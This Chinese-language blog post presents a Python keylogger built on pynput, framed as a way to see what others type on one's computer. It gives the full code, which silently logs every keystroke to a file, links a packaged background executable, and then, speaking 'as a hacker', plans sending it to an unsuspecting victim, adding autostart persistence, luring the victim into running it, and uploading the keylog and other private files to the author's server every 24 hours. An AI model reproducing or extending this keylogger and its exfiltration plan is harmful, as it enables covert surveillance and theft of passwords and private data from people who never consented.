如果将电脑暂时给他人用,如何监控别人在我们电脑使用键盘敲了些什么东西呢?
image.png

一、环境依赖

需要安装pynput模块,可以使用pip安装

  1. pip install pynput

也可以在pycharm的settings>interpreter中安装
20211201104629338.png
20211201104644197.png
20211201104739776.png

二、相关代码

  1. from pynput.keyboard import Key, Controller, Listener
  2. import time
  3. keyboard = Controller()
  4. keys = []
  5. def on_press(key):
  6. str(key).replace("'", "")
  7. def on_release(key):
  8. global keys
  9. string = str(key).replace("'", "")
  10. keys.append('\r' + string)
  11. main_string = "".join(keys)
  12. print(main_string)
  13. if len(main_string) > 15:
  14. with open('D:/w01ke.txt', 'a') as f:
  15. f.write(main_string)
  16. keys = []
  17. with Listener(on_press=on_press, on_release=on_release) as listener:
  18. listener.join()
  • 这里会将键盘记录传入D:/w01ke.txt

image.png

三、软件下载

  • 已将程序文件打包exe,下载地址:https://github.com/w01ke/Keyboard_Record,下载完成后双击w01ke.exe即可运行
  • 当双击w01ke.exe后,程序就已经在后台运行,监控用户的键盘输入,并将信息存入D盘中的w01ke.txt文件中。

image.png

  • 如果需要退出程序,打开任务管理器,找到w01ke.exe,选中结束任务即可。

image.png

四、点评

上面代码其实存在很多的缺陷,如果你是一个黑客的话,你可能可以通过用户使用tab键切换表单来判断输入框的间隔,或者通过其他分析手段,但是这样并不是很智能,我们其实可以尝试通过鼠标点击来截断输出,这样就可以连贯的看到用户输入的词了,快来尝试一下吧!

五、一些思考

image.png
作为一名黑客,如果不是监控自己的电脑,而是想要监控他人的键盘输入情况,我们可以改进程序代码,将w01ke.exe文件发送给小明,当小明双击运行w01ke.exe后,因为没有可视化界面,因此表面看起来无事发生,但w01ke.exe已经在后台运行,如果没有一些计算机常识,小明也不会检查后台进程发现的。但这样还不够,如果小明重启电脑了,那我们的w01ke.exe就退出了,因此我们需要在程序代码中加入一些自启动的相关代码,让小明开机,w01ke.exe文件就自动在后台运行了,或者引诱小明自己每次打开电脑都运行w01ke.exe。
但这还不够,小明的记录键盘操作的w01ke.txt如何发送到我们自己的电脑上呢?一是可以直接发送文件给我们具有公网IP的服务器上;二是直接与我们的服务器建立连接,但这可能会报毒;三是我们可以自己做一个网站页面,接收提交文件的表单,w01ke.exe设置好,每隔24h自动访问该网站,并自动在后台将w01ke.txt,甚至小明其他的隐私文件也可以,自动通过网页的形式上传到我们的云服务器上,我们在服务器上即可看到小明的键盘记录以及其他隐私文件,而我之前又刚好写过这方面的程序。
当然这只是作为一名黑客角度思考的可能实现的攻击方式,后续我也将尝试实现这些功能